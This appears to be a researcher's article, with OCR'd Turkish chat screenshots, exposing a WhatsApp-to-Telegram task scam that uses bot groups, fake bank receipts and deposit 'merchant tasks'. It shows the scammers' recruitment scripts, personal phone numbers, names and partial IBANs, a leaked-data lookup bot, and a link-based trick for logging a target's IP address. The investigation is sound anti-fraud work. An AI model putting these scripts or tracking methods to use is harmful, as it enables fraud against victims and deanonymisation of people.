10-20 dakika kuyruga giriyor. Lutfen
aldiginizda bana bildirin. Satici veri
gorevleri daha iyi oduller alabilir. ;.55

Size bilgi vermemi istedi ;.55

Gergekten akillisin, litfen odilini bekle
ve odilunt 10 dakika igcinde almazsan
sana yardim edecegim. 07-35

Tamam ;.35 4

Odiilleri beklerken bir sonraki géreve
devam edebilirsiniz.
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When I looked at this person’s profile, I learned that she had
been using the WhatsApp application since July 3, 2023,. Also
her profile photo had been used and shared on many different
social media platform when I searched on the internet using the

Visual Search feature of the Yandex search engine.

&

+60 11-6436 2947

Hey there! | am using WhatsApp.
July 3



https://yandex.com/images/
https://yandex.com/
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Image appears to contain

meBywka xwixabe  KpacuBbii XMl

Similar images

[¢ V&' [8) 6!6!['1 d
fs tlc Gn,hs ¢s

180 (A0S

Other image sizes

= 53 p1g ¢ 'smn

After answering all the scammer’s questions, she gave me a
reward code and told me to contact a person named Nilu
BALPANC with the username Rsp_Nilu on Telegram to pay
me. When I contacted this person, who, according to Telegram
Desktop, uploaded her profile photo on July 30, 2023, she
told me that the bank account number I had provided was
incorrect. After corresponding for a while and realizing that
what she wanted an IBAN, not an account number, I gave her
the information she was expecting, again incorrectly, at least in
a way that she would not get an error. (£

Saying, “I defrauded the fraudster and got them to


https://en.wikipedia.org/wiki/International_Bank_Account_Number
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send money to my account,” or ‘I received the money
from the fraudster and paid my electricity bill,” may
mean that you are dealing with the money of an
innocent citizen who has been defrauded, that is,

with stolen money.

When an investigation is launched into these
accounts, you may find yourself in the defendant’s
seat, in defense of whether you have a relationship
with fraudsters, so do not get involved in a financial
relationship with fraudsters.

If the fraudsters transferred money to your account,

contact your bank immediately.
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< 2 Refepswomst-h .3 w
sne yplng

July 31

Merhaba. g7.98

Merhaba, ben resepsiyonistiniz Nilu
Balpang, o6dulu almaya mi geldiniz?

Evet g7.29 o

Aramiza hosgeldin,
Lutfen bilgilerinizi verin, galismaya katilin,
gorev ve komisyon alin!

. Tam ad:

. Cinsiyet:

. Meslek:

. Yas:

. WhatApp numarasi:

. Banka hesap numarasi:

. Banka adt:

1- Rifat llgaz

6- 57359646

7- smmbank

4- 51

2- Erkek

3- Muhasebe mudiru

5- 07:31 W

Litfen kodunuzu girin

XY3171 g7.32

Gonderildi, sistem odulleri ddemek icin
10-20 dakika kuyruga giriyor. Litfen
aldiginizda bana bildirin. Satici veri
gorevleri daha iyi odiiller alabilir.
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2 g Resepsiyonist - N HOT S

=] 18]
|1vRﬁatHgaz6-573596467- bank 4- 5...

Sistem, banka hesap numaranizin yanlis
oldugunu soruyor

Sizin igin sistem 6deme odulini
gondermek igin litfen bana dogru banka
bilgilerini saglayin

Dogru bilgilerim. 47.49 .o

57359646

Sistem, banka hesap numarasinin yanlis
oldugunu soruyor

Tekrar kontrol ettim. Nasil bir hata
aliyorsunuz ? 07:50 &

Bankamla iletisime gegeyim. g7.50 &
Sistemin size basarili bir sekilde 180TL
odeyebilmesi igin litfen bana dogru banka

hesap numarasini verin.

Bank of ™ hesabimi veriyorum o halde:
63847387 s

Gin banka hesab1?

Bank of g Tirkiye o7:53 &

ithalat ve ihracat da yaptigim igin 7.53 o

Canim, baska banka kullaniyor musun?
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When she shared that she had received an error with the
account, a question immediately began to nag at the back of
my mind. Did they send some money to their victim’s bank
accounts to gain their trust? For this, when I inquired whether
money was transferred to the IBAN I sent to the scammer, I

learned that money was transferred!

After I told him I would not do the tasks without receiving
the money and the corresponding bank statement, the scammer
sent it to me and took me to a Telegram group called Part-
Time Task Group, consisting of 64 people. He did not neglect
to mention that I could earn 60 TL per task if I fulfill the tasks
shared daily in the group.
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< s Rgsepgyyqnl.s.t-l\ HOT SR

Muhsin Sayici gg.00 v

Bir gruba eklendiniz ve grubun diger
uyeleriyle iletigsim kurabilir, paylasabilir ve
ayni gorevleri yerine getirebilirsiniz

[Gérev 19] YouTube abonelik gorevi

1.JAdim: YouTube'u agin ve [Justin Bieber]

Z. Adim: Abone ol‘a tiklayin

3. Adim: Bir ekran gériintiisi alin ve bu galigma grubuna
gonderin

4. Adm: Resepsiyonunuzla iletisime gegin, 6dill almak igin
ekran goriintisiuni gonderin

Bir sonraki gorev birakma zamani 16:40 09:23

Calisma grubu haberlerini takip edin,
herkes gibi YouTube'a kemik olma gorevini
tamamlayin, gérev numarasi, ekran ¢ikisi
bana gonderin, sizin i¢in puan sayayim.

180 TL hesabima gelince yapacagim.
09:24 &/

Dekontu alabilir miyim ? gg.06 L
Litfen sabirl olun ¢iinki goreve katilan
cok fazla kisi var, sistem onlari tek tek
gonderiyor.
Efendim, odulintzi aldiniz mi?
Hayir 4953 .

7 islemn detay: &

95
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< LW Yari Zamanl Gorev Grut
7, -

July 31

Resepsiyonist - Nilu Balpang added you to this group
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<

Q«t\ Yari Zamanli Gorev Grubu
bk

64 members

Notifications

Members

Mustafa
Resepsiyonist - Aiyla &
online

Resepsiyonist - Nilu Balpang %  Admin
online

7 Aysel
Séljm Jdidi

Sibel ®

Esrai @ mu Em
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Q% Yari Zamanli Goérev Grubu

Y& 64 members

Esraflig

Resepsiyonist_Tuncay %
Nilay
Eda Alev

TC Ayse

A Aksoy

~ Can
\‘TL\

Resepsiyonist-Semra Elin 7

Hakan 1H

Mine mmm

Ahmet| =
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\ Yari Zamanh Gorev Grubu
64 members

Resepsiyon-Zeynep Yiicel #

Beytullah ™ 4

Resepsiyonist_Nehir Hz

Adil

Resepsiyonist_Abramova &

Cetin m

Ayse n mm

Effendy

Hilya[l®

. Serdar ===
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Y2\ Yari Zamanh Goérev Grubu
64 members

D O T e oy}

Resepsiyonist_Hatice &
. Ceetin

Faruk um

receptionist Aleyna %

Kemal. ol

Resepsiyonist- ELMAS £

Resepsiyonist-Eylil A

Resepsiyon-Aysegul Yarar (k)

Receptionist ~ rustle

Receptionist ~ Lisa

Task release- Mina
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When I asked the fraudster if the money transfer was from X
bank, he said a third party made the payments. This time a
new question began to puzzle me. Were the fraudsters using the
accounts of victims they had lured through other methods as a

front for this fraud operation, or did they own these accounts?

I quickly set out to find answers to these and other questions
nagging at the back of my mind.

How and where did they get our cell phone numbers? How
did they lure their victims? Who owned the accounts used to
transfer money? From which country were they running this
operation? Did the fraudsters speak Turkish, or did they use

translation tools?

How and where did they get our cell phone

numbers?

As in my article titled “Was Turkey’s e-Government Hacked?*,

I do not think that in recent years, when our information has
been passed from hand to hand in the underground world,
threat actors and fraudsters have hacked somewhere by
spending an extra effort to access our cell phone information

and leaked this information from there.


https://www.mertsarica.com/was-turkeys-e-government-hacked/
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— —
1,064 subscribers

A e

. Bot Yardim

yeni sunucumuz discord.gg/

Ad Soyad

Ad Sehir

TC Sorgu

Alle Sorgu
Slilale Sorgu
TC-GSM Sorgu
GSM-TC Sorgu
E-Okul Vesika
Ehillyet Vesika
Seri No Sorgu
IBAN Sorgu

IP Sorgu
Random Sorgu
Ayak Sorgu

Info

INDIRIM
@  BOT PANEL DISCORD®

(L OZELLIKLER:

RAA SAvad
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When I searched for a sample mobile phone number on the
SOCRadar XTI platform, which monitors threat actors and
fraudsters step by step in the cyber world and provides instant
cyber threat intelligence to its customers, I was able to see that
these mobile phone numbers were included in the data leak
files shared in the underground world. It is even possible to
complete missing information about a person from a mobile

phone number used in common in multiple leak files.

https: org/premium-database/135m-gsmtc-tcgsm-database-74306 i oo

\ ¢ Exposed Raw Data Fiters ot

4 Trending Keywords

cocurty 2835

sert 5390

It is also important to remember that similar scams on
WhatsApp are also carried out in other countries worldwide, so
it would not be wrong to say that Turkish citizens are facing an
international fraud network.


https://socradar.io/extended-threat-intelligence/
https://twitter.com/rickynow/status/1687782775317790720?t=HbCvkzUCCo2EL16q6GcLQQ&s=08
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(@ +1(321)359-1339

Jun

& Messages and calls are end-to-end encrypted.
No one outside of this chat, not even WhatsApp,
can read or listen to them. Tap to learn more.

Hello! We (randstad) are looking for

part time/full time employees - work

1-2 hours a day and earn at least CAD
1500-3000 for 5 days in a row - no
experience required and can be done
using mobile phone spare time. Salary is
settled on the day, age must be at least
20 years old,

Let me know if you are interested,
welcome to join our team. Thanks

< (@) 94777145985

online

Hi, I'm Miss Julian, from Neptune Digital
Marketing Agency. We are looking for
part-time or full-time and freelance staff.
Can | share more details for you?
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How did they lure their victims?

Shortly after joining a Telegram group called Part-Time Task
Group, I found myself in an environment where tasks were
being shared, screenshots, and correspondence were pouring in
and I decided to watch what was happening on in the group.

After watching for a while, I noticed a discrepancy between
the names, profile pictures, and language of the people in the
group, including the administrators. When I searched a few
profile pictures on the internet, as I did at the beginning of this
article, I found that they belonged to entirely different people
and were fake.
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Info

Unknown

Notifications
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€ 5 C 0 & yandexcom p *»0ae

Update §

Yandex Uploaded image X

Image appears to contain

Henosek  aHaHTeaaHaaloTybep  asvar  numan khan befic6yk du.

Similar images

0 Select crop area

Other image sizes

900900 100x100

C O & youtube.com *»06

Updat

= » YouTube

QR Home

Bancooooeuy = [ @
Library

History

ourvideos 1zz Punyoo @ .

Liked vide
ABOUT
Subscriptions.
Cafe Music BGM.

@  hetotmoodri par 2and  techrview i Joned Aug 42014
" oy Anawth e

@ rou 3143527 views
@ orcnccoe
@ Techriedvay
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* O O (oo

€ C O @ yandex.com)
Yandex [ i) Uploadedimage x Search .
meges Vi Dk »
Image appears to contain
MeSYLKA  WeMuMMA  [enOBaRXeuMMa  GM3HecEyMeH

Text in image

o07:41
Sula lail 79%
Resepsiyonist-Eyliil*

last seen recently

Q Search 48 Transiate
Reset 1 Select crop area
Similar images

Other image sizes

No matching images found

Sites containing information about the image

Black Latin Mature & Royalty-Fr

m Dreamsti
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I realized that most people in the group were actually bots

because of the spelling mistakes in the Turkish messages sent
to the group, and the Turkish speakers sometimes used Chinese

and English sentences.


https://telegram.org/blog/bot-revolution
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< L@h Yari Zamanh Gorev Grul
,'g-s-,\' (

Pinned Message

£ gbrevinftamamlayln. Bir sonraki
‘ gorev birakma zamani 16:20
Aysel
This merchant mission is helping

merchants become more popular,
v and we're making a profit because
‘ b Lt 3

5@ of it!

Yénetici Rita pinned " [Gérev 18] s veriler...

Eda Alev

The minimum task for commercial
tasks is 300, new members can do
100

Esra Sayin Karaoz

Gegen sefer 100 yapmadim, bu
sefer yapabilirim

Yonetici Rita

is verileri gorevleri igin gorevi

kendiniz segin, ornegin: is verileri

gorevini tamamladiktan sonra

500TL 6deyin, %30 odil kazanin,

650TL Nakit Para kazanin. Ayni

gun igerisinde 4 job data gorevini
tamamladiktan sonra resepsiyon

gorevlisi ile iletisime gecerek 5000 '
TL ek 6dul alabilirsiniz. N
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’Q Yari Zamanli Gorev Grul

4

< Baska Hesaba Havale / EFT ®

Gonderen Bilgileri

Hesap Adi Vadesiz TL Hesabi
Sube GEKMEKQY CAVUSBASI CADDESI SUBESI

Hesap No

Alici Bilgileri

7 18

Ad Soyad FENehrtann [JEhrrhhinn

Banka

IBAN

islem Bilgileri

Tutar

islem MasraFi (BSMV Dahil)
Islem Tarihi

Odeme TUrl

B €

& @

BANKASI A.S.
_ __ L

500,00 TL
1,327L
04/08/2023

Diger Odemeler

Automatic Translation
English  Co—m—

successful application

111
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The worst part was that the profile photos used by the bots
appeared to be of innocent Turkish citizens.
mm 2B L —

Info

Unknown

Notifications
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Unknown

Notifications
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Info

@twinklesxv

Notifications




Hack 4 Career 115

|ast seen recernt

Info

@Appointj

Notifications ()

The tasks, which started at 09:00 Turkey time, were renewed
every 20 minutes and lasted until 20:30, involving subscribing
to YouTube channels shared by the group administrator and
sharing screenshots on the group or with the group
administrators. It was promised that those who made these


https://www.youtube.com/

116 mertsarica

posts could also earn money from this work. You were also
expected to do a merchant task to earn more money and join
private rooms. For this, it was stated that you had to deposit
the minimum amount of 500 TL and that you could make 650

TL in return.
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¢ Lgﬂ Yari Zamanh Gérev Grul
;i,s-,"

I Pinned Message

July 31
Resepsiyonist - Nilu Balpang¢ added you to this group

Resepsiyonist - Aiyla added Mustafa Semih

Yonetici Rita
[Gorev 15] YouTube abonelik
gorevi

1. Adim: YouTube'u agin ve [g

= - )

2. Adim: Abone ol'a tiklayin

3. Adim: Bir ekran gortntisd alin ve
bu galisma grubuna gonderin

4. Adim: Resepsiyonunuzla
iletisime gegin, 6dili almak igin
ekran gorintiistinii gonderin

B Bir sonraki gorev birakma zamani
‘ 15:00

Yénetici Rita pinned " [Gérev 15] YouTube ab..!

~ Hattaca rfn'n{z";inéeo' .
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L, Yari Zamanli Gorev Grul
s+« YoOnetici Rita is typing

| Pinned Message

Yonetici Rita

[Gorev 24] is verileri gorevi
Gelismis Portfoy Ogeleri (2-4
siparis): Satici Onayli: Depozito
odendi.
Tlccar bildirimi: Piyasa talebine
gore, doviz spekiilasyonuna
yardimci olmak igin artik farkl
IP'ler aliyoruz, yer sayisi sinirlidir,
litfen ayrintilar igin resepsiyon
gorevlisine danigin.

VIP1 500 TL Cashback 650 TL+
(yeni gelen avantaj)

VIP2 2000 TL Geri Odeme 2600
TL+ (grup kar)

VIP3 3000 TL Geri Odeme 3900
TL+ (grup kan)

VIP4 6000 TL Geri Odeme 7800
TL+ (grup kan)

VIP5 8000 TL Cashback 10400 TL+
(grup kar)

VIP6 12000 TL Geri Odeme 15600
TL+ (grup kar)

VIP7 18000 TL Geri Odeme 23400
TL+ (grup karr)

VIP8 25000 TL Geri Odeme 32500
TL+ (grup kan)

VIP9 30000 TL Geri Odeme 39000
TL+ (grup kan)

VIP10 60000 TL Geri ddeme 78000
TL+ (grup kar)

Kontenian cinirhdir once aelen alir
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Pinned Message

= tamamiadim
Unread Messages

Aurora Raynor

Evet kontenjana kendimiz
basvurabiliriz, kendimize
inanmalyiz.

Yonetici Rita

Is verileri gorevleri igin gorevi
kendiniz segin, drnegin: ig verileri
gorevini tamamladiktan sonra
500TL d6deyin, %30 o6dil kazanin,
650TL Nakit Para kazanin. Ayni
gin icerisinde 4 job data gorevini
tamamladiktan sonra resepsiyonist
ile iletisime gegerek 3000 TL ek
odul alabilirsiniz.

is gorevleri, ek ddiller:
1. Ayni glin 30 gorev tamamlayin ve
ek 5000TL gorev oduli kazanin.

2. Ayni gun iginde 4 i verisi
gorevini tamamlayin ve ek 3000TL
gorev odill kazanin.

Yukaridaki ekstra gorev odulleri
icin lutfen resepsiyon gorevlisi ile
iletisime gegin.
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Pinned Message

Boris
%30 mu? Gergekten mi?

Yonetici Rita

Bir seyi anlamadiysaniz, daha fazla
ayrinti i¢in litfen ilgili resepsiyon
gorevlisiyle iletisime gegin.

Cetin Capraz

Artik fakir olmak istemiyorum.
Burada ¢ok para kazanmak
istiyorum.

Bennett

Ama para kazanmak igin gok
calismaliyiz, para olmadan
yapamayiz.

Cetin Capraz
Artik fakir olmak istemiyorum. Burada...
Ne kadara bagvurdun?

Sylvester Schumm
Boris
%30 mu? Gergekten mi?

Tabii ki, kota bagvurusunda
bulunmak i¢in resepsiyonistle

iletisime gegmek icin zaman ayirin.
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k Yari Zamanli Gorev Grul

Pinned Message

2. Adim: Abone ol'a tiklayin

3. Adim: Bir ekran goriintiisi alin ve
bu galisma grubuna génderin

4. Adim: Resepsiyonunuzla

( iletisime gegin, ekran goruntusunu
i oduli alan kisiye gonderin.

Yénetici Rita pinned " [Gérev 30] YouTube ab..!"

Yonetici Rita

Bugliniin gorevi gonderildi ve
tamamlandi. Galisma grubu, is
ortaklaninin ihtiyaclarina gore her
glin 26 YouTube abonelik gorevi
(20 dakika) ve 4 is verisi tiklama
gorevi (40 dakika) dahil olmak
uzere 30 gorev yayinlar. Ayni
gorevin odulleri farklidir. Gunliik

( gorevler sabah 09:00'da baslar ve
i aksam 20:30'da biter.

Hasanstoi

* harika.. gérevleri bitirdim sayilir@®

Aurora Raynor

Son gorev yayinlandi ve 6dilu
. tamamladiktan sonra alabilirsiniz.
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Unfortunately, I did not have the chance to find out whether
these YouTube channels shared during the mission were
randomly selected by the scammers to convince the victims
on the group, or whether they were channels of people who

purchased services to gain followers from these scammers.

It would be useful for those who buy followers to
remember that they may be inadvertently financing

such scammers.
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Yar| Zamanli Gorev Grul
© b
-‘ anet is typing

Pinned Message

- DIREKT MOBIL CEP
888.0444 0098968 TR69 0006 4000 0014 3930 2547 08
0016276708 0952 - HAZ VE SER PIY OPR. BOL
2787607470
BEYTULLAH Fatma
KORD IPLIK GAKILLI KASABASI
KRKLAREL|

TUTAR BILGILERI
IMEVDUAT

SCH
IGECEFTKOMISYON
IGEC EFTBSMV

TOPLAM
YALNIZ BESBIN SEXIZ TL UG KR

& ®BP

Yonetici Rita
[Gérev 26] YouTube abonelik
gorevi

1. Adim: YouTube'u agin Ve (mm mm
W] arayin

2. Adim: Abone ol'a tiklayin

3. Adim: Bir ekran goriintiisi alin ve
bu galisma grubuna génderin

4. Adim: Resepsiyonunuzla
iletisime gegin, ekran goruntisina
odiilu alan kigiye gdnderin.

( \ Bir sonraki gorev birakma
ﬁ zamani19:20

Yonetici Rita pinned " [Gérev 26] YouTube ab..."
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& Yari Zamanli Gorev Grut
" Pinned Message

Yonetici Rita
[Gérev 5] YouTube abonelik
gorevi

1. Adim: YouTube'u agin ve [ "mm
p—— arayin

2. Adim: Abone ol‘a tiklayin

3. Adim: Bir ekran gortintiisi alin ve

bu galisma grubuna génderin

4. Adim: Resepsiyonunuzla

iletisime gegin, ekran géruntisini

odulu alan kisiye gonderin.

( Bir sonraki gorev birakma zamani
i 11:20

Yonetici Rita pinned " [Gérev 5] YouTube abo..!

#l Turkeell LTE

< 1N N < $ 1]

@ 46,4 B abon
1 Abone olundu

kanalindan... Timiind gorintiile
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Okumak

ﬁl Abone olundu v

ANA SAYFA VIDEOLAR

Videolar
PET-UV 66 PET
FEEDER | EVCIL HAY.
386 garuntileme y

Resource has been exhausted (e.g
check quota)
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Yari Zamanli Gorev Grul

| Pinned Message

Yonetici Rita
[Gorev 9] YouTube abonelik
gorevi

1. Adim: YouTube'u agin ve

[ ™= “m] grayin
2. Adim: Abone ol'a tiklayin
3. Adim: Bir ekran goruntisu alin ve
bu galisma grubuna gonderin
4. Adim: Resepsiyonunuzla
iletisime gegin, ekran gorintisini
odula alan kigiye gonderin.

( Bir sonraki gorev birakma zamani
i 12:40

Yonetici Rita pinned " [Gérev 9] YouTube abo..!

J:L Abone olun.. v

ANA SAYFA VIDEOLAR
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The bots that shared screenshots of their subscribers would
also occasionally share bank statements of their earnings from
their posts. When I looked at the bank statements, I could
see that some of them were visibly manipulated. On the other
hand, since I assumed that the scammers would not bother to
change every single piece of information on the statements,
I was immediately struck by the inconsistencies between the
recipient/sender bank name and the bank code in the recipient/
sender IBAN.


https://www.investopedia.com/terms/i/iban.asp
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Yari Zamanli Gorev Grul
109 members

| Pinned Message

]

202308

04240

ISMAIL

Fehmi

TR19 0006 7010 0000 0085 9500 01
ndesiien
] - .

Mobil Sube

Gonderen: ISMAIL , Alci: Fehmi |

IBAN'a Para Transferi (FAST)

T
500,00 TL
Yalniz Beg Yiiz TL

‘k; G24

Forwarded message
From Karakalpak

DEKONT EEE
EFT BANKALAR ARASI HESABA HAVALE =

(GONDERIC! BILGILERI
Dlzsrioyen Sbo 7777

TALCI BILGLERI

J DREXT MOBL CEP
6530444 0033368 ! TRGS 0006 4000 014 3830 2547 08
0 0852- HAZ VE SERPIY OPR BOL

AH

HORD IPLIK CAKILLI KASABAS
KIRKLAREL

|TRr 700086004 £ 2828000008958

20803 L

CEFT KOMSYON
|GECEFT BIMY
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H 000989 H 12345667800100001

ISLEM BILGILERI
iSLEM TORD FAST Giden Anlik Odeme  ISLEM TARIHi 05.08.2023.10:22:52
ALICI BANKA msbank AS. SORGU NO 685646523
ISLEM TUTARI
GONDEREN AD SOYAD / Normalde kalin VAN  Serdal | ]
UNVAN

olmamasi lazim
ALICI HESAP NO / I3 cH G O0G AU 020 0 ER: 2023526524638791

2101 3617 99 fotomontaj

yapildigina igaret
ediyor.

Alici banka adi ile
IBAN

numarasindaki
banka kodu
uyusmuyor.

During the day, I saw scammers adding new victims to the
group. Fortunately, those who realized the scam warned others
and left the group immediately.
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< | & °\ Yari Zamanl Gorev Grul
s 'y o ;
e«+ Esra Sayin Karadz is typing

| Pinned Message

=g+ onceden iletisime gegmedigim igin.

Unread Messages

Esra: [
@\ Anaparayi ve kar goktan aldim.

Umut =

Esra B
| Anaparay! ve kéri goktan aldim.
Gergekten iadeyi yapiyorlar mi?

1903 basaran 1903
Ya sacmalamayin :)

Yaparlar mi
Kandiriyorlar
Cikin

Esra » mmm
| Umut Bal

Gergekten iadeyi yapiyorlar mi?
Daha yapmadin mi?

Umut ®
Ben inanmadigim i¢in yapmadim
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A careful examination of the screenshots shared in the group
led me to conclude from various clues that some of them were
from virtual phone software (Android Emulator, etc.), while
others could be real, perhaps hacked, phones because they

contained gsm operator names and also ran other applications
at the background.



https://developer.android.com/studio/run/emulator
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1402 O @ - © 1.4 § %85

é

Normal telefonda
kamera boglugu
olmaz.

Kim o posta yoneticinizden sesli
diyafonunuzu hemen /Audio géstntuld ||
Turkge bilen biri videolar igin
altyazi genelde agmaz.

Ailenizin Giivenligi icin Sesli Diafonlar Degistirme

Zamani
Reklam - Audio Elektronik A.S.
Siteye git E
H n
3,49 B abone

£\ Abone olundu v

ndan en yeniler

Telefonda bu
kaydirma gubugu "=
gérinmez.



14:21 all 36 11

< H 0 0

a Q

Olucak.lsmimiz Gibi Daha Me Olsun

EL Abone olundu

Ana Sayfa Videolar Oynatma Listeleri Toplulul

FILMLERIN GIZLI KAHRAMANLARI / 150
DUBLAJ SANATCISI { SESLENDIRICILER /...

- 82 B gorintlleme - 3 wil Gnce
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ol Turk Telekom =

Lol 0N

3,49 B abone 224 video

MERHABA TV KANALIMIZA HOS
GELDINIz

N Abone olundu v

ANA SAYFA VIDEOLAR SHORTS

Videolar

Gidilesi,...
Kardele...

A 8 CYR O

Ana Sayfa Shorts Abonelikler Kitaphk

» X
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al Turkcell 14:03 %30@ )
< MW X & ;1
N tv L
@
3,5 B abone

K Abone olundu v

Dungeon of Gems

Kadar yeni baglayanlar igin hos
geldiniz paketi

Reklam - UCRETSIZ

indir i

A 8 P & E

Ana Sayfa Shorts Abonelikler Kitaphk
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19:41

@ Kelimelik * simdi ‘&
Kelimelik

Bey@z Zambak ile yeni oyun agildi

Nlu‘_lr\ Yl

23,5 B abone

£\ Abone olundu v

\ »ﬁ-ﬁ

Mix -

YouTube

Miizik albimleri
N

' Kismet 1. B6lim
= P izlemeye devam... > ><
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In some screenshots, I saw that they probably used a VPN to
have an IP address from Turkey. I also noticed that the bots
sometimes received an error from YouTube (Resource has been
exhausted (e.g. check quota).). When I looked at the number

of subscribers to the YouTube accounts that were asked to

subscribe during, and after the start of the task, I saw that the
number of subscribers increased by 2000. Based on this, I can
say with a simple calculation that the scammers have an army
of thousands of bots for this job.


https://www.reddit.com/r/youtube/comments/ofbegf/error_resource_has_been_exhausted_eg_check_quota/
https://www.reddit.com/r/youtube/comments/ofbegf/error_resource_has_been_exhausted_eg_check_quota/
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' Turkeell LTE @8 16:24 %40 m_)

@ I 4,96 B abone 159 video

Kanalimda pratik, kolay, lezzetli nefis yemek
tarifleri, pasta, kurabive ve tatl tarifleri, faydal bil...

X Abone olundu

ANA SAYFA  VIDEOLAR SHORTS OYN{

Videolar

KIYMALI
PATLICAN

YEMEGI NASIL...
309 goruntuleme - 2 h...

Abonelik eklendi
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- Bl @

{a 3,73 B abane 96 video

FUSKEWVIT ICIN ABOME OL!

{1 Aboneolu.. Katil

AMA SAYTFA VIDEOQLAR 2HUKRTa LR

Kisiler Gérinmuyor?

1 : v
E Resource has been exhausted (e.g. 422
check quota).

(Dual WhatsaApo)
% 8 (3 o ©

Sine Temyila Bl I""\-\. - Faloinee ikl e Kilapla
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Okumak

ﬁl Abone olundu v

ANA SAYFA VIDEOLAR

Videolar
PET-UV 66 PET
FEEDER | EVCIL HAY.
386 garntileme y

Resource has been ex}\g(

check quota)
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At 20:30, the so-called bots said goodnight to each other and
the group fell silent until 09:00 the next morning. Again,
various questions started to come to my mind. Why were they
going to sleep at 20:30 when money transfers can be made 24/7
in Turkey thanks to FAST? Was it because it was late at night
in the location of the fraudster/operator managing the bots, so
he had adjusted his shift and the bots according to this time? I
left finding answers to these questions for later and continued
my research from where I left off.

On August 4, 2023, I noticed that the Telegram group had been
closed and contacted the scammer to ask him to let me back
into the group. This time, when I entered the group, the list of
group members was hidden. I watched the group for a while
to learn the details of the scam attempt and after completing
4 tasks, I contacted the scammer to get me into a larger group
and to deposit the money into my account.

Of course, the scammer stated that I had to complete 4
merchant tasks (pay 500 TL and earn 650 TL model). When I
asked where and how to make the payment, she said I could
make it to her bank account. In order to prevent fraudsters
from victimizing more of our citizens, I had to quickly learn
these bank accounts and forward them to the authorities of
those banks for monitoring and blocking. Without wasting
time, I told the fraudster that I wanted to make a payment.


https://fast.tcmb.gov.tr/
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e g Rgsepswomst-h HOT o

_
vip kanalina alir misin ?

Dort tiiccar gorevini tamamladiktan sonra
VIP kanalina katilabilirsiniz.

tamamladim zaten q3.53

Bu abonelik gorevidir

Grupta her glin dort tiiccar gorevi
yayinlanacak

fark etmedin mi

satin mi almam lazim ? 13.5¢

almak istiyorum o halde 13,7 .
Bugiinin gorevi bitti
satin almanin yolu yok

Yarin sabah 9:00'da gorev grubunu takip
edebilir ve katilabilirsiniz.

satin almak icin 6demeyi nasil
yapabiliyorum ? Ona gore hazirlayayim

yarin igin. 13:28 W

On 6deme tutarina bagh olarak, geliriniz
degisecektir. Geri ddemeler 30 dakika
icinde yapilabilir. Ne kadar ¢ok 6n 6deme
yaparsaniz, o kadar gok komisyon
kazanirsiniz
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After getting the first account information and informing the
relevant bank official about it, I told the fraudster that my
money transfer could not be realized and that there was a
problem with their account. Then I tried to convince her to

provide a second account information and I succeeded. (£
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£ Resepsiyonist- N HOT :
< éﬁ +++ typing - ;

Nasil 6deme yapabilirim ? g.49 o

Onemli degil, ne kadar miktari segersiniz?

Girig olan 500 TL gg:55 &

500 TL yatirinca ne kadar kazanabilirim ?
06:56 v

500 650 kazanabilir

Tamam g¢7:12

Odeme bilgilerini alabilir miyim ? ¢7.q7 .

Lutfen bekleyin, sizin i¢in getiriliyor

Osman [

transfer miktari:500

*Odeme segimi HIZLI havale, EFT segimi
gecersiz

*Yorum yapmaya gerek yok

*Havaleyi tamamladiktan sonra, liitfen
havalenin ekran goruntisuni ve 6deyenin
adini saglayin

Transferi 15 dakika iginde tamamlamak
icin, suresi dolmus ve gegersiz, tutar daha
fazla veya daha az olamaz
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< é Resepsiyonist - N HOT L :

VO. 14 vv

kullanabilirsiniz

Denedim olmadi ikisinde de. Sizin hesapta
problem var. 08:18 W

litfen bana ekran goriintisi saglayin
Ne dneriyor?

Diger herkes aktarimi normal sekilde
tamamlayabilir

Gagn merkezini arayin diyor, ekran
goruntisu aldirtmiyor uygulama. gg.9g .

Her iki banka da ayni mi?

Evet. og:20

"Guvenlik politikasi geregi ekran goruntusu
alinmamaktadir." diyor. 08:21 W/

Tamam, senin igin yeni bir sistem hesabi
almaya galisacagim

m bank
Handan @ m
TR57! mmm = m 90

Bu bankaya 500 6demeyi deneyin
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At the end of the day, I quickly shared the information of 5
different accounts used by fraudsters in 4 different banks with
the authorities of these banks and we prevented more citizens
from being victimized in a very short time. At this point, I
would like to thank the banks whose names I cannot disclose

and all the officials there for their quick actions.

In the light of all this information I have obtained, if I
summarize the scam set up by fraudsters;

They contact the victim using a foreign number on WhatsApp
and take them to a Telegram group. All of the correspondence
and receipts shared by the bots in the Telegram group are an
important part of the scam to impress and convince the victim.
At first, the scammers gain trust by sending 180 TL to the
victim’s account and try to convince the victim to pay for
more. The scammers use accounts opened in more than one
bank for money transfers. By getting the victim to subscribe to
26 YouTube accounts shared in the Telegram group during the
day, they are likely to make either main or side profits — kill

two birds with one stone!

Who owned the accounts used to transfer money?

As T received the misused account information from the
fraudster one by one, different questions began to plague my
mind again. When I searched the names and surnames of these
account holders on the social network LinkedIn, I saw that
most of them were either currently, or until recently university
students, even if there was a possibility of name similarity.
Were they young people in their 20s who knowingly and
willingly cooperated with the fraudsters, or were they students
who were exploited by fraudsters for the sake of earning


https://www.linkedin.com/
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income due to the difficult living conditions? Unfortunately,
knowing that I would not have a chance to find an answer
to this question, I continued to search for answers to other
questions that puzzled me.

From which country were they running this

operation?

Since I have experienced in my similar researches such as

Exposing Pig Butchering Scam that scammers, whether local or

foreign, mostly do not pay attention to Operations Security, I
decided to try the same method to detect the IP address of this

scamimer.

For this, I used Bitly URL shortening service to share the
address of the fake screenshot I uploaded to my website and
tried to obtain the IP address.

At first, the scammer was hesitant to click on the link, but since
there was revenue at stake and he didn’t know that I was on
the other side of the keyboard, he decided to bite the bullet
and clicked. When I searched the IP address I obtained from
my website’s logs on SOCRadar IOC Radar, I found that the
scammer was communicating with me through Thailand with
the IP address 171.102.239.190.



https://www.mertsarica.com/exposing-pig-butchering-scam/
https://www.mertsarica.com/opsec-fail/
https://bitly.com/
https://socradar.io/labs/ioc-radar/171.102.239.190
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< Q Resepsiyonist - N HOT L

hangi banka ? 955 .,
m bankasi

W == bankasi uygulamasi su hatayi
veriyor, sebebi konusunda fikriniz var mi ?

bit.ly/ Sy u™ 1015 W
Hicbir fikrim yok

Sizin igin kontrol edebilmem igin bana bir
ekran goriintiisii gondermeniz gerekiyor

ekran goruntisind buradan

gonderemedim, glivenlik politikasi hatasi

veriyor o nedenle image sitesine ytikledim.
1017 W&

Benim icin fotograf gcekmek icin diger cep
telefonlarini kullanabilirsiniz.

Bagka telefonum yok, bit.ly/m m =
buradan bakip soéyleyebilir misiniz ?
1019 W

Para transferi esnasinda bu hatayi veriyor.
10:19 W/

Lutfen henliz 6deme yapmayin
Tamam 140 .

Sistem hesabi kotasi dolu

Hazir oldugunuzu onayladiktan sonra,
